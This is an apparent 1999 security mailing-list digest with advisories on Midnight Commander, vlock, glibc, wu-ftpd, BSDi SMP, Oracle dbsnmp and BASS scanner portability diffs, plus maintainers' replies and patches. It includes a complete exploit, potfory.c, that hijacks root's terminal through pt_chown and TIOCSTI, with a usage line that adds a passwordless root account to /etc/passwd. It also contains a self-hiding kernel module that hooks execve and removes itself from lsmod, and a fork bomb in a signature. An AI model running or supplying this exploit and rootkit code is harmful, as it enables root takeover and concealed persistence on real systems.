mc, ftp:// and $()
------------------

Compromise: remote/local user's privledges

Midnight Commander ftp client has an overflow while reading server
responses - long enough message will result in beautiful overflow. Enjoy.

Also, mc seems to have serious problems with directories containing shell
commands enclosed in $(...) construction. Bad.

--------
vlock -a
--------

Compromise: locally, unlocking VCs switching under certain conditions

When 'vlock -a' is called, console switching is completely disabled using
ioctl() call on /dev/ttyX device. Under certain conditions, this
protection can be fooled. Let's imagine following situation: user X is
logged on tty6 - oh, abbandoned session ;) while root is playing on
other consoles. After some time, he/she issued 'vlock -a' and gone
somewhere. But, if user X is still logged on any console, and he's able to
login once more, remotelly, he could open /dev/tty6 (in our example, as
it's owned by him), then... use ioctl() (as it's not restricted to
superusers!!!) to enable console switching.

------------------------------
glibc 2.0.x and LC_ALL, noexec
------------------------------

Compromise: locally, doing thins you shouldn't be able to do ;)

First of all - doing /lib/ld-linux.so.2 /program/on/noexec/partition is
the simpliest way to bypass noexec option, if only you have glibc 2.0.x.
Nothing to say, security by obscurity stinks.

Clean glibc 2.0.x, as distributed in .tar.gz, are vunerable to rather
seriuos problem with LC_ALL containing '../' tricks (just like in telnetd
and TERM case). In fact, in some Linux distributions, it has been silently
fixed, while people upgrading glibc to eg. 2.0.7 'from scratch' are not
aware of this problem, and many sites are vunerable. Using prepared
directory with locale specifications, including glibc error messages used
eg. by perror(), luser will be able to for example read setuid programs
memory, etc.

_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [cellular phone: (0) 501 4000 69]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]


_________________________________________________________________________________________________________
1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ;
attachment: potfory.c (8k) :
_________________________________________________________________________________________________________


// #define LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
// release 2.0

/*

  Marchew Hyperreal Industries . . . . . . . . .  marchew@dione.ids.pl
  Stumilowy Las Team . . . . . . . . . . . . 100milowy@wariaci.pdi.net
  
  ----------------------------[ PRESENTS ]----------------------------

                   D O M E K    N A    P O T F O R Y
               glupi, ale skuteczny sploit na glibce 2.1
                 
  -----------------------[ (c) lcamtuf@ids.pl ]-----------------------
  Y2K-compatible                                              24/05/99

  TODO: w domku nie mam devptsfs'a, wiec nie ma supportu, ale zrobi,
        obiecuj...

  Zasada dziaania: wspaniay wynalazek pt. pt_chown, w ktry
  zaopatrzone s glibce 2.1 (RedHat 6.0), pozwala przej kontrol
  nad ptysiami innych userw i przekaza dowolne polecenia programowi,
  ktry na tym ptysiu wisi. Warunek: na starcie musimy mie jaki
  dostp do ptysia (+r albo +w), tak si skada e programy typu
  screen, mc itp daj nam szans. Oczywicie sens w uywaniu tego
  programiku na ptysie root'a i wysaniu dowolnego polecenia do
  jego shella.

  Najprostszy przyklad uycia: odpalamy sploita na roota, czekamy a
  rut sie zaloguje i odpali cos w stylu screena i bum. Uywanie na
  innych useruf chyba nie ma wikszego sensu, poza tym jeli screen
  nie ma suida, po prostu tracilibymy zbyt duo czasu na ustalenie
  do kogo naley pty, wic sploit moe nie zadziaa. W takim
  przypadku dopisanie '#define NALOT_ZMASOWANY 1' i wywoanie sploita
  dla roota spowoduje wysyanie komendy na kadego ptysia, bez
  sprawdzania czy to np. wanie niesuidowy screen.

  Nie spieszy si nikomu, wic /dev/tty?? s skanowane co 10 sekund.
  Jeli kto chce, niech sobie zmieni LAG gdzie niej. Program i tak
  jest do zostawienia na dzie :P

  Gritz: ElCa, 100milowy, lam3rz, Nises, sopel, martinez, Nergal, etc.

*/

// #define NALOT_ZMASOWANY 1

#define MASKA_PTYSIA    0622
#define LAG             10

#include <sys/time.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <pwd.h>
#include <string.h>

#define BOLD  "\033[00;01m"
#define NORM  "\033[00;00m"
#define DARK  "\033[00;02m"
#define BLINK "\033[05m"
#define GREEN "\033[01;32m"
#define RED   "\033[01;31m"
#define YELL  "\033[01;33m"
#define BLUE  "\033[00;36m"

#ifdef LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
#  define stat(a,b) _xstat(_STAT_VER,a,b)
#  define fstat(a,b) _fxstat(_STAT_VER,a,b)
#endif /* LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A */

int gupi_uid;
char* jebum;


void zuzycie(void) {
  printf(BOLD "Sposb zuycia: " BLUE "./potfory juzer 'polecenie'\n");
  printf(BOLD "   ...juzually: " BLUE "./potfory root 'echo \"r::0:0::/:/bin/sh\""
              " >>/etc/passwd;logout'" NORM "\n\n");
  exit(0);
}


int szukaj_uida(const char* login) {
  struct passwd* pw;
  setpwent();
  while ((pw=getpwent())) if (!strcasecmp(login,pw->pw_name)) return pw->pw_uid;
  printf( RED "[+] W domku nie mieszka nikt o loginie '%s'..." NORM "\n\n",login);
  exit(0);
}


char* koniec="\n";

int obwachaj_ptysia(struct dirent *s) {
  int i,q,z,w;
  struct stat a;
  if (strlen(s->d_name)!=5 || strncmp("pty",s->d_name,3)) return -1;
  close((i=open(s->d_name,O_RDONLY)));
  if (i>0) return -1;   // Blah, unused pty...
  s->d_name[0]='t';     // pty -> tty
  printf(DARK "[+] Przygldam si " YELL "%s" DARK": " BLUE,s->d_name);
  stat(s->d_name,&a);
  if (a.st_uid!=gupi_uid) {
    printf("nie ten owner (%d).\n",a.st_uid);
    return -1;
  }
  printf("owner dobry");
  a.st_mode=a.st_mode&0666;
  if (a.st_mode!=MASKA_PTYSIA) {
#ifndef ZMASOWANY_ATAK
    printf(", ale chyba to pomyka (maska: %o).\n",a.st_mode);
    return -1;
#else
    printf(" (zmasowany nalot)");
#endif /* ZMASOWANY_ATAK */
  }
  i=open(s->d_name,O_WRONLY);
  if (i<0) {
    printf(", ale nie mam uprawnie.\n");
    return -1;
  }
  printf(" - " YELL "robimy swoje!\n" NORM);

  if (!(q=fork())) {
    dup2(i,3);

    execl("/usr/libexec/pt_chown","pt_chown",0);
    exit(1);
  }

  waitpid(q,&z,0);

  fstat(i,&a);

  if (a.st_uid!=getuid()) {
    printf("[+] Ech, co nie wyszo z pt_chown'em :(\n");
    close(i);
    return -1;
  }

  printf(YELL "[+] Oki, trzymamy ptysia za jaja, lemy komend...\n");

  for (w=0;w<strlen(jebum);w++) ioctl(i,TIOCSTI,&jebum[w]);
  for (w=0;w<strlen(koniec);w++) ioctl(i,TIOCSTI,&koniec[w]);

  close(i);

  printf("\n" GREEN "Dzikujemy za lot z Marchew Hyperreal Industries :-)" NORM "\n\n");

  exit(0);
}



void robimy_burdel(void) {
  struct dirent **x;
  int a;
  printf(BLUE "[+] Czekam na ofiare [/dev/tty??] - sprawdzam co " YELL "%d" BLUE " sekund...\n",
         LAG);
  if (chdir("/dev")) {
    printf( RED "[+] Ki burak, nie mog wej do /dev...\n\n");
    exit(0);
  }
  while (1) {
    a=scandir(".",&x,obwachaj_ptysia,0);
    if (a<0) {
      printf( RED "[+] Buuuk, nie mog przeskanowa /dev...\n\n");
      exit(0);
    }
    sleep(LAG);
  }
}


int main(int argc,char* argv[]) {
  printf(BLUE "\nMarchew Hyperreal Industries " BOLD "oraz " GREEN "Stumilowy Las Team"
         BOLD " prezentuj:\n");
  printf( YELL BLINK "Domek Na Potfory " NORM "- gupi, ale skuteczny sploit na glibce 2.1\n");
  printf( DARK "Scenariusz, wystrj wntrz i muzyka: " BOLD "<lcamtuf@ids.pl>\n");
  if (argc-3) zuzycie();
  gupi_uid=szukaj_uida(argv[1]);
  jebum=argv[2];
  printf(BLUE "[+] UID " YELL "%d" BLUE ", polecenie do przekazania shellowi: " BOLD "%s\n",
         gupi_uid,jebum);
  robimy_burdel();
  printf(NORM "\n");
  exit(0);
}

_________________________________________________________________________________________________________
1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ;
attachment: ftpd.diff (1k) :
_________________________________________________________________________________________________________


*** ftpd.c      Sun Jun  6 15:20:21 1999
--- ftpd_patched.c      Sun Jun  6 15:15:03 1999
***************
*** 1245,1251 ****
        /* append the dir part with a leading / unless at root */
        if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
                strcat( mapped_path, "/" );
!       strcat( mapped_path, dir );
  }
  
  int
--- 1245,1254 ----
        /* append the dir part with a leading / unless at root */
        if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
                strcat( mapped_path, "/" );
!       if ( strlen(mapped_path) + strlen (dir) < 4095 )
!               strcat( mapped_path, dir );
!       else 
!         syslog(LOG_ERR, "FTP mapped_path attack ");
  }
  
  int
  
  
_________________________________________________________________________________________________________
1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ;
rponse (1/3)
_________________________________________________________________________________________________________
  

On Sun, Jul 04, 1999 at 01:38:48PM +0200, Michal Zalewski wrote:
> ----------------------------
> wu-ftpd 2.5, VR and BeroFTPD
> ----------------------------
>
> Compromise: remote root
>
> Solution: add strlen() check somewhere
>
> There's an overflow in wu-ftpd 2.5 and prior releases (including VR and
> BeroFTPD) in mapped_path when mapping current working directory to
> command-line. While I discovered this vunerability by myself, I don't want
> to provide exploit code, as all other, hard work has been done
> independently by someone else. Instead of that, there's a .diff file with
> patch, attached somewhere as ftpd.diff.

The Debian package of wu-ftpd (2.5.0-3) has just been updated with this
patch:

--- wu-ftpd-2.5.0.orig/src/ftpd.c
+++ wu-ftpd-2.5.0/src/ftpd.c
@@ -1243,9 +1246,12 @@
       }

       /* append the dir part with a leading / unless at root */
-      if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
-              strcat( mapped_path, "/" );
-      strcat( mapped_path, dir );
+      if ( strlen( mapped_path ) + strlen( dir ) < MAXPATHLEN-2 ) {
+              if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
+                      strcat( mapped_path, "/" );
+              strcat( mapped_path, dir );
+      } else
+             syslog( LOG_ERR, "mapped_path overflow: possible exploit attempt" );
 }

 int

Correct me if I'm wrong, but it doesn't seem that the wu-ftpd Academ betas
(specifically beta 16, included in Debian 2.1 (slink)) are vulnerable.

Thus I doubt that our security team will issue an advisory, because this
version is present only in the unstable distribution.

--
enJoy -*/\*- don't even try to pronounce my first name  
  
_________________________________________________________________________________________________________ 
1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ; 
rponse (2/3) :
_________________________________________________________________________________________________________
  
  
>>>>> Michal Zalewski writes:

 > First of all, something less or more personal - sorry to all secure@...pl
 > people for this post. I'm really angry, as this stuff become well-known
 > without my knowledge... so, only a few of my own observations, always
 > trying to respect other's intellectual property.

 > All the best goes to el- :P

 > ----------------------------------------------
 > glibc 2.1.x and Linux without devpts mechanism
 > ----------------------------------------------
Please report glibc problems to the glibc developers first!

/usr/libexec/pt_chown --help outputs:
[...]
Report bugs using the `glibcbug' script to <bugs@gnu.org>.

I didn't see any report on this on any glibc list! :-(

I'm forwarding this now.

 > ------------------------------
 > glibc 2.0.x and LC_ALL, noexec
 > ------------------------------

 > Compromise: locally, doing thins you shouldn't be able to do ;)

 > First of all - doing /lib/ld-linux.so.2 /program/on/noexec/partition is
 > the simpliest way to bypass noexec option, if only you have glibc 2.0.x.
 > Nothing to say, security by obscurity stinks.

 > Clean glibc 2.0.x, as distributed in .tar.gz, are vunerable to rather
 > seriuos problem with LC_ALL containing '../' tricks (just like in telnetd
 > and TERM case). In fact, in some Linux distributions, it has been silently
 > fixed, while people upgrading glibc to eg. 2.0.7 'from scratch' are not
 > aware of this problem, and many sites are vunerable. Using prepared
 > directory with locale specifications, including glibc error messages used
 > eg. by perror(), luser will be able to for example read setuid programs
 > memory, etc.
AFAIK those problems are fixed in glibc 2.1.x - if not please tell us.

Andreas
--
 Andreas Jaeger   aj@arthur.rhein-neckar.de    jaeger@informatik.uni-kl.de
  for pgp-key finger ajaeger@aixd1.rhrk.uni-kl.de

_________________________________________________________________________________________________________
1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ;
rponse (3/3)
_________________________________________________________________________________________________________



Michal Zalewski writes:
>--------
>vlock -a
>--------
>
>Compromise: locally, unlocking VCs switching under certain conditions
>
>When 'vlock -a' is called, console switching is completely disabled using
>ioctl() call on /dev/ttyX device. Under certain conditions, this
>protection can be fooled. Let's imagine following situation: user X is
>logged on tty6 - oh, abbandoned session ;) while root is playing on
>other consoles. After some time, he/she issued 'vlock -a' and gone
>somewhere. But, if user X is still logged on any console, and he's able to
>login once more, remotelly, he could open /dev/tty6 (in our example, as
>it's owned by him), then... use ioctl() (as it's not restricted to
>superusers!!!) to enable console switching.

This is not a bug in vlock; what's more, it's not a bug.

To change this behaviour in the way Michal wants would require that
all console-switching activity be controlled only by root.  This would
have a detrimental effect on security, because it would increase the
number of setuid applications on the system.  So this is not a kernel
bug, and since the behaviour Michal wants would have to be enforced in
the kernel and vlock is not capable of changing it, it is not a vlock
bug either.

michaelkjohnson

"Magazines all too frequently lead to books and should be regarded by the
 prudent as the heavy petting of literature."            -- Fran Lebowitz
 Linux Application Development     http://people.redhat.com/johnsonm/lad/

===============================================================================================
1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x (End) :
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.20-:Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 (begin) :
==========================================================================



Description:

        A vulnerbility exists in BSDi 4.0.1 Symmetric Multiprocessing
        (SMP).  During high CPU usage it is possible to cause BSDi 4.0.1
        (possibly others but untested) with all current patches to stop
        responding and 'lock up' when a call to fstat is made.


Reproduction:

        This is very simple to reproduce.  Simply run a few instances of
        commands which will eat up large amounts of CPU (top -s .1).  When
        the CPU hits a reasonable amount, begin to run fstat.  After the
        first 20-30 lines your machine should stop responding.


Solution:

        At this time, after consulting BSDi, it has been determined that
        this issue has yet to be encountered.  The following temporary
        fixes should be able to prevent this in the future until BSDi is
        able to release an official patch:


        1.) Simply chmod 000 to /usr/bin/fstat

        2.) Either move or remove /etc/mp.config.  During boot, if this
            file is not found, BSDi will not boot into SMP mode.


Credits:

        _THE MAN_ who ponted this out to me at work the other day (I'm not
        sure if you want people knowing your name, you know who you are).
        He was the one to discover that there was an issue with BSDi
        locking up when a call to fstat was made... I was only the one to
        verify this and discover that it was due to SMP (with the help of
        the tech from BSDi of course... (You know who you are too, thanks
        for your help).



- Ben

*****************************
* Ben Lull                  *
* PSN Internet Services     *
* Jr. Systems Administrator *
*****************************


- I may be a kid, but hey Mom, look at me now!
- The only true type of freedom is that of speech (and a debugger).

_________________________________________________________________________________________________________
1.20-:Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 ; rponse (1/1)
_________________________________________________________________________________________________________

On Tue, 17 Aug 1999, Ben Lull wrote:

> Description:
>
>       A vulnerbility exists in BSDi 4.0.1 Symmetric Multiprocessing
>       (SMP).  During high CPU usage it is possible to cause BSDi 4.0.1
>       (possibly others but untested) with all current patches to stop

FreeBSD 3.2 SMP seems to be fine.  The machine that I used to test is a
dual P-III with ASUS motherboard.

========================================================================
1.20-:Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 (End) :
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.21-:[EuroHaCk] stealth-code (fwd) (begin) :
=============================================

 

hi,

don't think that hiding modules is an old topic. ;-)
since all the other dirty tricks didn't work on 2.2
kernel (as using asm-code etc.) i used new
techniqe to hide modules. example-code below.
payload is simly print-out-message-at-execution-call
thingie.
this module even is stealth enuff ;-) for my radar.c
module-detector.
any other suggestions are welcome.

cheers,
Stealth



: ---- main(){fork();main();} ----
: Hi! I'm a .signature virus! Copy me into your ~/.signature, please!
: Stealth <-> http://www.kalug.lug.net/stealth

/*** A kernel-module for 2.2 kernels, hiding itself.
 *** It was easier in 2.0 kernels and i found all the old
 *** techniqes not to work. So i invented new one. ;-)
 *** (C) 1999/2000 by Stealth.
 *** All under the GPL. SO YOU USE IT AT YOUR OWN RISK.
 *** http://www.kalug.lug.net/stealth
 ***
 *** Greets to all my friends, you know who you are.
 ***/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#ifndef NULL
#define NULL ((void*)0)
#endif

extern void *sys_call_table[];
int (*old_exec)(struct pt_regs regs);

int new_exec(struct pt_regs regs)
{
        int error = 0;
        char *filename;

        lock_kernel();
        filename = getname((char*)regs.ebx);
        error =  PTR_ERR(filename);
        if (IS_ERR(error))
                goto out;

        printk("Hi, the hook is still installed. ;-)\n");
        error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, &regs);
        putname(filename);
out:
        unlock_kernel();
        return error;
}


int init_module()
{
        int i = 0;
        struct module *m = &__this_module, *lastm = NULL,
                      *to_delete = NULL;

        EXPORT_NO_SYMBOLS;

        /* install hook */
        old_exec = sys_call_table[__NR_execve];
        sys_call_table[__NR_execve] = new_exec;

        /* get next module-struct */
        to_delete = m->next;
        if (!to_delete) {
                printk("No module found for exchange }|-(\n");
                return 0;
        }

        /* and steal all information about it */
        m->name = to_delete->name;
        m->size = to_delete->size;
        m->flags = to_delete->flags;

        /* even set the right USE_COUNT */
        for (i = 0; i < GET_USE_COUNT(to_delete); i++)
                MOD_INC_USE_COUNT;

        /* and drop the attacked module from the list
         * this won't delete it but makes it disapear for lsmod
         */
        m->next = to_delete->next;

        printk("The following modules are visible now:\n");
        while (m) {
                printk("%s\n", m->name);
                m = m->next;
        }
        printk("Tzzz... (sleeping)\n");
        return 0;
}

int cleanup_module()
{
        sys_call_table[__NR_execve] = old_exec;
        return 0;
}


==========================================
1.21-:[EuroHaCk] stealth-code (fwd)(End) :
_______________________________________________________________________________________________________







_______________________________________________________________________________________________________
1.22-:Security Bug in Oracle (begin) :
======================================

---------- Forwarded message ----------
Date: Mon, 16 Aug 1999 23:51:53 +0200
From: Gilles PARC <gparc@online.fr>
Subject: Security Bug in Oracle

Hi Listers,

I discover a new security problem with Oracle on Unix.
Once again, it's with a setuid program.

Do not confuse with a similar problem corrected
by ORACLE  some month ago with a patch called setuid_patch.sh.

NEW PROBLEM :

if you have installed Oracle Intelligent agent, you will find in
$ORACLE_HOME/bin a program called dbsnmp.
This program is setuid root and was DELIBERATELY EXCLUDED
by Oracle in the forementioned patch.

The security hole resides in the fact  that this program executes
a tcl script ( nmiconf.tcl ) located by default  in
$ORACLE_HOME/network/agent/config.

Needless to say that  you can easily bypass this default and have
your own malicious nmiconf.tcl script run under root privileges.

I verify this on HP-UX 10.20 with  Oracle 7.3.3 and 8.0.4.3
                    on AIX 4.3  with Oracle 8.0.5.1
But  it's probably Unix generic.

Regards

Gilles Parc
Email : gparc@mail.dotcom.fr

carpe diem !!

----- End forwarded message -----

--
Elias Levy
Security Focus
http://www.securityfocus.com/

=====================================
1.22-:Security Bug in Oracle (End) :
_________________________________________________________________________________________________________




_________________________________________________________________________________________________________
1.23-: BASS diffs (begin) :
===========================

I made some diffs to get BASS to compile on OpenBSD and Solaris as well
as Linux..They are very minimal...

diff -uN bass-1.0.7/BASS.c bass/BASS.c
--- bass-1.0.7/BASS.c   Sun Aug  8 12:43:51 1999
+++ bass/BASS.c Mon Aug 16 15:15:13 1999
@@ -24,6 +24,7 @@
 #include <errno.h>
 #include <signal.h>
 #include <sys/param.h>
+#include <sys/termios.h>

 #include "list.h"
 #include "readconf.h"
@@ -487,11 +488,11 @@
       log("%s - [%s] OUT OF MEMORY?!?!?!.",
          cgi_hooks[i].cgi_alias, host);
       break;
-    case EBADRQC       :
+    case EINVAL:
       log("%s - [%s] cgi not installed.",
          cgi_hooks[i].cgi_alias, host);
       break;
-    case -1    :
+    case -1:
       log("%s - [%s] unknown cgi failure.",
          cgi_hooks[i].cgi_alias, host);
       break;
@@ -526,12 +527,12 @@
          scan_hooks[i].scan_alias, host);
       break;

-    case EBADRQC      :
+    case EINVAL      :
       log("%s - [%s] Host denied Iquery request",
          scan_hooks[i].scan_alias, host);
       break;

-    case EPROTO            :
+    case ENOPROTOOPT       :
       log("%s - [%s] server type mismatch",
          scan_hooks[i].scan_alias, host);
       break;
diff -uN bass-1.0.7/Makefile bass/Makefile
--- bass-1.0.7/Makefile Sun Aug  8 12:43:51 1999
+++ bass/Makefile       Mon Aug 16 15:29:06 1999
@@ -14,14 +14,15 @@
 BASS_DEFS = -DBASS_DEFAULT_DISTDIR=\"$(BASS_DISTDIR)\"

 # On Solaris you'll need to add *at least* these linker flags:
-# -lnsl -lsocket -lresolv -lrpc (is that how the rpc library is called?)
+# -lnsl -lsocket -lresolv
 #
 # On Irix you'll need to... Hmmm...
 #
 # Forget it! I'm not going to fight Unix. Here's a nickel kid, go buy yourself
 # a Linux distribution.

-BASS_LIBS =
+BASS_LIBS=
+#BASS_LIBS =-lnsl -lsocket -lresolv
 BASS_INCLUDES =

 BASS_OBJS = BASS.o job.o log.o list.o xmalloc.o network.o icmp.o \
@@ -29,12 +30,12 @@
        cgi.o uname.o \
        bind.o imapd.o qpopper.o innd.o wingate.o \
        nfsmount_xdr.o rpc.o \
-       $(BASS_LIBS)
+#      strsep.o

 all: BASS

 BASS: $(BASS_OBJS)
-       $(CC) -o BASS $(BASS_OBJS)
+       $(CC) -o BASS $(BASS_OBJS) $(BASS_LIBS)

 $(LIBPCLOAK_OBJ):
        cd $(LIBPCLOAK_DIR); $(MAKE) $(LIBPCLOAK).a
diff -uN bass-1.0.7/README.SOLARIS bass/README.SOLARIS
--- bass-1.0.7/README.SOLARIS   Wed Dec 31 16:00:00 1969
+++ bass/README.SOLARIS Mon Aug 16 15:28:06 1999
@@ -0,0 +1,2 @@
+Edit the makefile, *uncomment* the line for strsep.o
+and *uncomment* the BASS_LIBS that calls -lnsl -lsocket -lresolv
diff -uN bass-1.0.7/bind.c bass/bind.c
--- bass-1.0.7/bind.c   Sun Aug  8 12:43:51 1999
+++ bass/bind.c Sun Aug 15 08:12:37 1999
@@ -69,7 +69,7 @@
  dnsv = (HEADER *) vquery;

  if(dnsi->rcode) {
-  errno = EBADRQC;
+  errno = EINVAL;
   return -1;
  } else {
     if(dnsv->rcode) {
diff -uN bass-1.0.7/cgi.c bass/cgi.c
--- bass-1.0.7/cgi.c    Sun Aug  8 12:43:51 1999
+++ bass/cgi.c  Sun Aug 15 08:12:37 1999
@@ -78,7 +78,7 @@
  /* Cgi not installed */
  if(!strstr(*response, CGI_HTTP_HEADER_10) &&
     !strstr(*response, CGI_HTTP_HEADER_11)) {
-  errno = EBADRQC;
+  errno = EINVAL;
   return -1;
  }

diff -uN bass-1.0.7/icmp.h bass/icmp.h
--- bass-1.0.7/icmp.h   Sun Aug  8 12:43:51 1999
+++ bass/icmp.h Mon Aug 16 15:17:15 1999
@@ -13,8 +13,26 @@

 */

-#include <netinet/ip_icmp.h>
+#include <netinet/in_systm.h>
 #include <netinet/ip.h>
+#include <netinet/ip_icmp.h>
+
+#if !defined(__linux__)
+struct iphdr
+{
+#if BYTE_ORDER == LITTLE_ENDIAN
+  unsigned char ihl:4, version:4, tos;
+#elif BYTE_ORDER == BIG_ENDIAN
+  unsigned char version:4, ihl:4, tos;
+#else
+#error "What is the BYTE_ORDER?"
+#endif
+  unsigned short tot_len, id, frag_off;
+  unsigned char ttl, protocol;
+  unsigned short check;
+  unsigned int saddr, daddr;
+};
+#endif

 #define LOCAL_ICMP
 #ifndef LOCAL_ICMP
diff -uN bass-1.0.7/imapd.c bass/imapd.c
--- bass-1.0.7/imapd.c  Sun Aug  8 12:43:51 1999
+++ bass/imapd.c        Sun Aug 15 08:12:37 1999
@@ -56,7 +56,7 @@
     !(imap_flavour = strsep(&sepregister, delim)) ||
       strncasecmp(imap_flavour, S_IMAP, strlen(S_IMAP)) != 0 ||
     !(version = strsep(&sepregister, delim)))
- { close(tcpfd); errno = EPROTO; return -1; }
+ { close(tcpfd); errno = ENOPROTOOPT; return -1; }

  if(!strcmp(imap_flavour, S_IMAP_2BIS))
  {
@@ -72,7 +72,7 @@
  else
  {
    close(tcpfd);
-   errno = EPROTO;
+   errno = ENOPROTOOPT;
    return -1;
  }

diff -uN bass-1.0.7/qpopper.c bass/qpopper.c
--- bass-1.0.7/qpopper.c        Sun Aug  8 12:43:51 1999
+++ bass/qpopper.c      Sun Aug 15 08:12:37 1999
@@ -44,7 +44,7 @@

  if( !strstr(serverid, "QPOP") && !strstr(serverid, "QUALCOMM") ) {
   close(tcpfd);
-  errno = EPROTO; return -1;
+  errno = ENOPROTOOPT; return -1;
  } else {
     if((version = strstr(serverid, S_VERSION)))
     {
diff -uN bass-1.0.7/rpc.c bass/rpc.c
--- bass-1.0.7/rpc.c    Sun Aug  8 12:43:51 1999
+++ bass/rpc.c  Mon Aug 16 21:56:42 1999
@@ -148,9 +148,9 @@
  tt_client = tclnttcp_create(&raddr, TOOLTALK_RPC, TOOLTALK_VERS,
                             &rpcsock, 0, 0, timer);
  if(!tt_client) {
-  /*-- Traditionally ECOMM has nothing to do with our situation. But we
+  /*-- Traditionally EPROTONOSUPPORT has nothing to do with our situation. But
we
        endow it a NEW meaning: Any RPC communications failure. --*/
-  if(errno != ETIMEDOUT) errno = ECOMM;
+  if(errno != ETIMEDOUT) errno = EPROTONOSUPPORT;
   return -1;
  }

@@ -200,7 +200,7 @@
  if(!(mount_client = clntudp_create(&raddr, MOUNTD_RPC, MOUNTD_VERS,
                               retry_timeout, &rpcsock)))
  {
-  errno = ECOMM;
+  errno = EPROTONOSUPPORT;
   return -1;
  }

@@ -230,7 +230,7 @@
     log("%s - [%s] RPC request timed out.",
               rpc_hooks[hook_slot].rpc_alias, host);
     break;
-   case ECOMM          :
+   case EPROTONOSUPPORT                :
     log("%s - [%s] RPC service communication error.",
              rpc_hooks[hook_slot].rpc_alias, host);
     break;
diff -uN bass-1.0.7/strsep.c bass/strsep.c
--- bass-1.0.7/strsep.c Wed Dec 31 16:00:00 1969
+++ bass/strsep.c       Mon Aug 16 15:22:28 1999
@@ -0,0 +1,85 @@
+/*     $OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $      */
+
+/*-
+ * Copyright (c) 1990, 1993
+ *     The Regents of the University of California.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *     This product includes software developed by the University of
+ *     California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#include <string.h>
+#include <stdio.h>
+
+#if defined(LIBC_SCCS) && !defined(lint)
+#if 0
+static char sccsid[] = "@(#)strsep.c   8.1 (Berkeley) 6/4/93";
+#else
+static char *rcsid = "$OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp
$";
+#endif
+#endif /* LIBC_SCCS and not lint */
+
+/*
+ * Get next token from string *stringp, where tokens are possibly-empty
+ * strings separated by characters from delim.
+ *
+ * Writes NULs into the string at *stringp to end tokens.
+ * delim need not remain constant from call to call.
+ * On return, *stringp points past the last NUL written (if there might
+ * be further tokens), or is NULL (if there are definitely no more tokens).
+ *
+ * If *stringp is NULL, strsep returns NULL.
+ */
+char *
+strsep(stringp, delim)
+       register char **stringp;
+       register const char *delim;
+{
+       register char *s;
+       register const char *spanp;
+       register int c, sc;
+       char *tok;
+
+       if ((s = *stringp) == NULL)
+               return (NULL);
+       for (tok = s;;) {
+               c = *s++;
+               spanp = delim;
+               do {
+                       if ((sc = *spanp++) == c) {
+                               if (c == 0)
+                                       s = NULL;
+                               else
+                                       s[-1] = 0;
+                               *stringp = s;
+                               return (tok);
+                       }
+               } while (sc != 0);
+       }
+       /* NOTREACHED */
+}
